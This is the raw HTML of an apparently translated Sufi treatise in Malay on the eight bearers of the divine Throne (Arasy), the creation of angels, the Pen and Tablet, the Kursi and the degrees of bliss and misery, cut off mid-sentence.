&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK_oG_rDhqWLfGWCKmy34ucBsY5bIEp-FZmvlpOABLxkViqjZQqZ0LuVUbWlFAeIKBG_vhrgEBPaHHyYX-Ir-plSwXl2vezAUYmFeqQ3kjhY9LSUr372f1jEvNVVv7mMPLL5wv-J3bpD_4JKMOmciJkT59xFj3g4-Z_0jKwAFKy-qnuxMSS03lo0zMgQc/s500/pictsel-davidope11.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" data-original-height="500" data-original-width="500" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK_oG_rDhqWLfGWCKmy34ucBsY5bIEp-FZmvlpOABLxkViqjZQqZ0LuVUbWlFAeIKBG_vhrgEBPaHHyYX-Ir-plSwXl2vezAUYmFeqQ3kjhY9LSUr372f1jEvNVVv7mMPLL5wv-J3bpD_4JKMOmciJkT59xFj3g4-Z_0jKwAFKy-qnuxMSS03lo0zMgQc/s320/pictsel-davidope11.gif" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Apostle_%28Islam%29" rel="wikipedia" target="_blank" title="Apostle (Islam)"&gt;رسول&lt;/a&gt; الله&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="MsoNormal"&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Bab Penanggung Arasy]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Dengan Allah, Arasy menanggung ar-Rahman, dan mereka menanggungnya -&lt;br /&gt;
kenyataan ini mudah dimengerti. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Apakah kuasa yang ada pada makhluk dan apakah kekuatannya&lt;br /&gt;
sekiranya bukan kerananya yang akal dan Penyingkapan bawakan? &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Tubuh dan roh dan makanan serta kedudukan&lt;br /&gt;
tiada apa lagi yang pembahagian aturkan. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Itulah Arasy, seandainya engkau ketahui kemuliaannya!&lt;br /&gt;
Yang bersemayam di atasnya dengan nama ar-Rahman yang diharapkan. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Mereka berlapan, dan Allah mengetahui mereka. &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Kini" rel="wikipedia" target="_blank" title="Kini"&gt;Kini&lt;/a&gt; di sana adalah empat,&lt;br /&gt;
dan tiada kesalahan pada mereka: &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Muhammad" rel="wikipedia" target="_blank" title="Muhammad"&gt;Muhammad&lt;/a&gt;, kemudian Ridwan dan Malik, Adam&lt;br /&gt;
dan Khalil (Ibrahim) dan kemudian Jibrail, &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Diikuti oleh Mikail dan &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Israfil" rel="wikipedia" target="_blank" title="Israfil"&gt;Israfil&lt;/a&gt;. &lt;a class="zem_slink" href="http://maps.google.com/maps?ll=35.5248611111,24.0561666667&amp;amp;spn=0.01,0.01&amp;amp;q=35.5248611111,24.0561666667%20(Chania)&amp;amp;t=h" rel="geolocation" target="_blank" title="Chania"&gt;Hanya&lt;/a&gt; lapan di sini -&lt;br /&gt;
mendapat kekuatan daripada “La ilah illa Llah”.&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Arasy (singgahsana) dalam bahasa Arab]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Semoga Allah membantu 
wali-Nya! Ketahuilah dalam bahasa Arab singgahsana membawa maksud 
sesuatu yang menunjukkan kepada kewujudan kerajaan. Dikatakan, 
“Singgahsana raja diruntuhkan,” bila berlaku kekacauan di dalam 
kerajaannya. Singgahsana (takhta) juga membawa maksud kerusi. Bila 
singgahsana dimaksudkan sebagai penunjuk bagi sesuatu kerajaan, 
pembawanya adalah penanggungnya. Bila singgahsana itu adalah kerusi, 
penanggungnya ialah kakinya yang menanggungnya, ataupun sesiapa sahaja 
yang membawanya di atas galas mereka. Bilangan ditentukan bagi 
penanggung singgahsana Arasy. Rasulullah s.a.w mengatakan ada empat di 
dalam dunia ini, dan lapan pada Hari Kebangkitan. Rasulullah s.a.w 
membacakan, &lt;br /&gt;
&lt;b&gt;&lt;i&gt;“Pada hari itu lapan akan membawa Arasy Tuhan kamu” (69:17)&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
dan kemudian baginda bersabda, “Kini mereka 
adalah empat,” maksudnya dalam dunia ini. Firman Allah, “Pada hari itu 
mereka menjadi lapan”, bermaksud Hari Kebangkitan.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;

&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Arasy terkandung dalam tubuh, roh, penyuburan dan darjat]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Kami bawakan daripada 
Ibn Masarra al-Jabali, salah seorang yang terkemuka dalam bidang 
kerohanian, mengatakan, dan menyingkapkan, “Arasy yang dibawa itu adalah
 kerajaan. Ia terkandung di dalam tubuh, roh, penyuburan dan darjat. ” 
Adam dan Israfil dari golongan &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Colotomy" rel="wikipedia" target="_blank" title="Colotomy"&gt;bentuk&lt;/a&gt;; Jibrail dan Muhammad dari roh; 
Mikail dan Ibrahim dari pembekalan; dan Malik dan Ridwan dari Janji dan 
Ancaman. Dalam kerajaan itu hanya ada apa yang dinyatakan. Penyuburan, 
iaitu pembekalan, adalah yang boleh dicapai dengan pancaindera dan juga 
rohaniah. Apa yang akan kami nyatakan dalam tajuk ini ialah satu cara, 
yang membawa makna kerajaan, melaluinya segala manfaat berhubung. 
“Penanggungnya” mengatur mereka yang menjalankan urusan. Satu pengurus 
dalam bentuk anasir atau bentuk yang bercahaya; satu pengurus dalam 
bentuk roh; satu pengurus kepunyaan bentuk anasir; satu pengurus adalah 
roh dan satu diuruskan dan dikuasai oleh bentuk yang bercahaya. 
Penyuburan adalah kepunyaan bentuk anasir dan penyuburan ilmu dan 
makrifat roh. Ada darjat kebahagiaan yang boleh dialami oleh pancaindera
 dengan memasuki syurga dan ada darjat kecelakaan yang boleh dialami 
oleh pancaindera diperolehi dengan memasuki &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Jahannam" rel="wikipedia" target="_blank" title="Jahannam"&gt;Jahannam&lt;/a&gt; dan darjat ilmu 
secara kerohanian. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Tajuk ini berdasarkan 
empat isu. Persoalan pertama ialah bentuk; keduanya roh; ketiga ialah 
penyuburan; dan keempat ialah darjat, iaitu penghujung. Setiap persoalan
 ini ada dua bahagian, jadi semuanya menjadi lapan. Mereka adalah 
penanggung Arasy, iaitu apabila yang lapan itu hadir, kerajaan pun 
didirikan dan muncul, lalu Raja bersemayam di atasnya.&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Badan yang bercahaya dan Malaikat Utama]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Persoalan pertama 
menyentuh bentuk dan ia mempunyai dua bahagian: bentuk tubuh beranasir 
yang mengandungi bentuk tubuh khayali, dan bahagian lain ialah tubuh 
fizikal yang bercahaya. Kita mulakan dengan tubuh yang bercahaya. 
Tubuh-tubuh pertama yang Allah jadikan adalah tubuh roh kemalaikatan 
bergerak dengan cinta dalam keagungan Allah. Ia termasuklah &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Akal" rel="wikipedia" target="_blank" title="Akal"&gt;Akal&lt;/a&gt; Awal 
dan Diri Sejagat (Universal) dan tubuh yang bercahaya, diciptakan 
daripada cahaya keagungan berakhir di sana. Tidak ada daripada malaikat 
ini yang diciptakan melalui cara lain kecuali melalui Diri (an-&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Nafs" rel="wikipedia" target="_blank" title="Nafs"&gt;Nafs&lt;/a&gt;) 
yang di bawah Akal. Setiap malaikat yang diciptakan selepas 
malaikat-malaikat ini adalah dibawah taklukan alam semulajadi. Mereka 
adalah daripada keturunan sfera-sfera yang daripadanya mereka diciptakan
 dan padanya mereka menghuni. Ia sama juga dengan malaikat anasir. 
Malaikat darjat terakhir ialah yang diciptakan daripada amalan dan nafas
 ahli ibadat. Kami akan nyatakannya sedarjat demi sedarjat dalam tajuk 
ini, Insya’ Allah. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Ketahuilah bahawa telah 
ada Allah sebelum Dia ciptakan makhluk dan di sana tidak ada masa 
sebelumnya. Itu adalah ungkapan secara ‘ada-hubungan’ yang menunjukkan 
perhubungan yang melaluinya matlamat dicapai pada pendengar. Allah 
berada di dalam ‘ama’ yang di bawah dan di atasnya tidak ada udara. Ia 
adalah kenyataan Ilahi yang pertama muncul yang dalamnya mengalir cahaya
 Zat, seperti dijelaskan oleh firman-Nya, &lt;br /&gt;
&lt;b&gt;&lt;i&gt;“Allah adalah cahaya langit dan bumi” (24:35)&lt;/i&gt;&lt;/b&gt;. &lt;br /&gt;
Bila ‘ama’ itu diwarnai oleh cahaya, Dia 
bukakan dalamnya rupa malaikat yang terpukau oleh kecintaan yang di atas
 daripada badan alam semulajadi. Tidak ada singgahsana atau malaikat 
yang mendahului mereka. Bila Dia bawa mereka kepada kewujudan, Dia 
berikan mereka kenyataan. Kenyataan itu menjadi tidak kelihatan kepada 
mereka, dan yang tidak kelihatan itu menjadi roh mereka, iaitu bagi 
rupa-bentuk itu. Dia berikan kepada mereka kenyataan dalam Nama-Nya, 
Yang Maha Indah, lalu mereka kehairanan dan kebingungan dengan kecintaan
 dalam keagungan keindahan-Nya, dan mereka tidak pulih daripadanya.&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Akal Awal adalah Paksi bagi Alam Catatan dan Rakaman]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Bila Allah berkehendak 
menciptakan alam catatan dan penulisan, Dia khususkan salah seorang 
daripada malaikat Karubiyun. Ia adalah malaikat pertama daripada cahaya 
itu yang dinamakan Akal dan Qalam. Ia dikurniakan tajalli dalam tempat 
di mana ilmu yang dikurniakan menyata menurut kewujudan yang Dia 
kehendaki terhadap makhluk-Nya, bukan untuk akhiran dan batasan. Dengan 
zatnya, Akal menerima apa yang sepatutnya dan Nama-nama Ilahi yang yang 
inginkan kemunculan alam ciptaan. Daripada Akal ini muncul kewujudan 
lain yang dipanggil Loh. Dia perintahkan Qalam agar turun kepadanya dan 
mengamanahkan kepadanya hanya apa yang akan berlaku sehingga Hari 
Kebangkitan. Dia kurniakan kepada Qalam 360 tahun penulisan, iaitu 
menjadi Qalam. Bermula daripada ia menjadi qalam, Allah kurniakan 
kepadanya 360 tajalli atau raqa’iq (berus). Setiap tahun atau raqa’iq 
mengeluarkan 360 jenis ilmu yang lengkap, dan Qalam memperincikannya 
dalam Loh. Ini meliputi ilmu mengenai alam semesta sehingga Hari 
Kebangkitan. Loh mengetahuinya apabila Qalam menyerahkan pengetahuan itu
 kepadanya. Ini adalah sebahagian daripada alam semulajadi, dan ia 
adalah ilmu pertama yang Loh terima mengenai ilmu yang bersangkutan 
dengan apa yang Allah kehendaki pada makhluk-Nya. Ini adalah lebih tepat
 dikira sebagai semulajadi daripada diri. Semua itu berada di dalam alam
 cahaya yang murni.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;

&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Arasy dan malaikat yang menghuninya]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Kemudian Allah bawa 
kepada kewujudan kegelapan yang murni yang bertentangan dengan cahaya 
ini, yang berada dalam keadaan ketiadaan yang menyeluruh bertentangan 
dengan kewujudan yang menyeluruh. Bila Dia membawanya kepada kewujudan, 
cahaya itu mengalir ke atasanya dengan pengaliran keluar yang perlu 
dengan bantuan semulajadi. Maka cahaya memperbaiki keadaannya yang 
berselerakan dan badan muncul yang ditunjukkan sebagai Arasy. Kemudian 
nama ar-Rahman bersemayam di atasnya dengan nama, Kenyataan Zahir. Itu 
adalah kemunculan yang pertama bagi alam ciptaan. Daripada cahaya yang 
bercampur itu, yang seumpama cuaca subuh, Dia ciptakan malaikat yang 
mengelilingi Singgahsana itu. Inilah firman-Nya, &lt;br /&gt;
&lt;b&gt;&lt;i&gt;“Kamu akan lihat malaikat mengelilingi Arasy sambil membesar dan memuji Tuhan mereka” (39:75)&lt;/i&gt;&lt;/b&gt;. &lt;br /&gt;
Mereka tidak mempunyai tugas lain kecuali 
mengelilingi Arasy, membesar dan memuji-Nya. Kami telah terangkan 
tentang penciptaan alam maya dalam buku kami, ‘Uqla al-Mustawfiz. Kami 
gunakan prinsip berkenaan dalam tajuk ini.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Kursi dan malaikat yang mendiaminya]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Kemudian Dia bawakan 
Kursi ke dalam kewujudan Arasy ini dan meletakkan padanya malaikat yang 
dari jenisnya. Setiap sfera merupakan asas penghuninya yang diciptakan 
di dalamnya sama seperti anasir yang daripadanya penghuninya diciptakan.
 Adam diciptakan daripada tanah maka keturunannya menghuni bumi. Dalam 
Kursi yang mulia ini, Perkataan dibahagikan kepada rakaman dan 
pengadilan: ini adalah dua kaki yang turun daripada Arasy sebagaimana 
dinyatakan oleh hadis. Kemudian di dalam Kursi itu Allah ciptakan 
sfera-sfera, satu di dalam yang lain. Dalam setiap sfera Dia ciptakan 
alam daripadanya yang mereka diami, yang dinamakan malaikat iaitu 
utusan. Dia hiaskan sfera-sfera dengan bintang-bintang, dan mengilhamkan
 kepada setiap langit dengan perintah-Nya sehingga Dia ciptakan bentuk 
benda-benda (muwalladat).&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Roh bentuk yang bercahaya, bentuk khayali dan bentuk anasir]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Bila Allah lengkapkan 
bentuk-bentuk yang bercahaya dan anasir ini yang tidak mempunyai roh 
yang tidak kelihatan oleh bentuk-bentuk tersebut, Dia kurniakan 
kenyataan kepada setiap golongan bentuk-bentuk tersebut menurut asas 
masing-masing. Roh bentuk-bentuk itu muncul daripada bentuk-bentuk 
tersebut dan daripada tajalli. Ini merupakan persoalan kedua. Allah 
ciptakan roh-roh dan perintahkan mereka menguruskan bentuk-bentuk 
tersebut dan Dia jadikan mereka ghaib, zat yang satu tetapi dijadikan 
berbeza di antara satu sama lain. Mereka berbeza menurut bentuk yang 
mereka terima daripada tajalli itu. Bentuk-bentuk itu bukanlah kepunyaan
 roh-roh secara kenyataannya menurut “di mana berada”. Bentuk-bentuk ini
 dimiliki oleh roh-roh sebagai kerajaan berhubung dengan bentuk anasir, 
dan seumpama tempat menyatakan berhubung dengan semua bentuk-bentuk. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Kemudian Allah hasilkan 
bentuk khayali fizikal melalui tajalli lain di antara lataif (yang seni)
 dan bentuk, dan bentuk bercahaya dan menyala muncul kepada pandangan 
dalam tubuh fiikal itu. Bentuk yang dapat ditangkap oleh pancaindera 
yang menyata itu membawa bentuk maksud dalam bentuk fizikal ini di dalam
 tidur, selepas kematian dan sebelum dibangkitkan – ia adalah bentuk di 
antara ruang (barzakh). Ia adalah tanduk cahaya yang atasnya luas dan 
bawahnya sempit. Bahagian tertingginya ialah ‘ama’ dan bahagian 
terendahnya ialah bumi. Badan-badan bagi bentuk ini yang mana jin, 
malaikat dan bahagian batin manusia muncul adalah arah ke luar semasa 
tidur dan bentuk-bentuk Taman Syurga. Bentuk inilah yang menghuni bumi 
khayali yang sudah kami katakan dalam tajuk yang sesuai ini.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Penyuburan roh-roh dan penyuburan bentuk-bentuk]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Kemudian Allah tentukan 
penyuburan bagi bentuk-bentuk dan roh-roh ini. Ia termasuk dalam 
persoalan ketiga. Mereka hidup dengan penyuburan itu. Ia mengandungi 
penyuburan pancaindera dan penyuburan maksud. Penyuburan maksud adalah 
penyuburan ilmu pengetahuan, tajalliyat dan hal-hal (ahwal) atau 
suasana. Penyuburan pancaindera sudah diketahui umum. Ia adalah apa yang
 bentuk-bentuk itu makan dan minum yang membawakan maksud kerohanian, 
iaitu bakat-bakat. Setiap bentuk, samada yang bercahaya, haiwan atau 
fizikal, disuburkan oleh apa yang sesuai dengannya. Ia mengambil tempat 
yang panjang untuk diperincikan di sini.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;&lt;b&gt;[Darjat alam dalam kebahagiaan dan kecelakaan]&lt;/b&gt; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: red;"&gt;Kemudian Allah kurniakan
 kepada setiap alam darjat dalam kebahagiaan dan kecelakaan dan satu 
setesen; dan perinciannya tidak terhitung. Kebahagiaannya menurutnya: 
sebahagiannya kebahagiaan nafsu, kebahagiaan kesempurnaan, kebahagiaan 
kerana dipenuhi, dan kebahagiaan tempat, iaitu Syariat. Kecelakaan 
adalah seperti itu dalam pembahagian apa yang tidak disetujui oleh 
nafsu, kesempurnaan, kelakuan (iaitu tidak dipenuhi), dan bukan Syariat.
 Semua itu boleh ditangkap oleh pancaindera dan akal. Bahagiannya yang 
ditangkap oleh pancaindera berkait dengan Kediaman kecelakaan, kesakitan
 pada dunia ini dan alam kemudian, dan berkait dengan Kediaman 
kebahagiaan bagi kesenangan dalam dunia ini dan alam kemudian. 
Sebahagiannya murni dan sebahagiannya bercampur. Yang murni berhubung 
dengan Alam Kemudian. Yang bercampur berhubung dengan Kediaman sekarang.
 Jadi yang bahagia mungkin muncul dalam bentuk yang celaka dan yang 
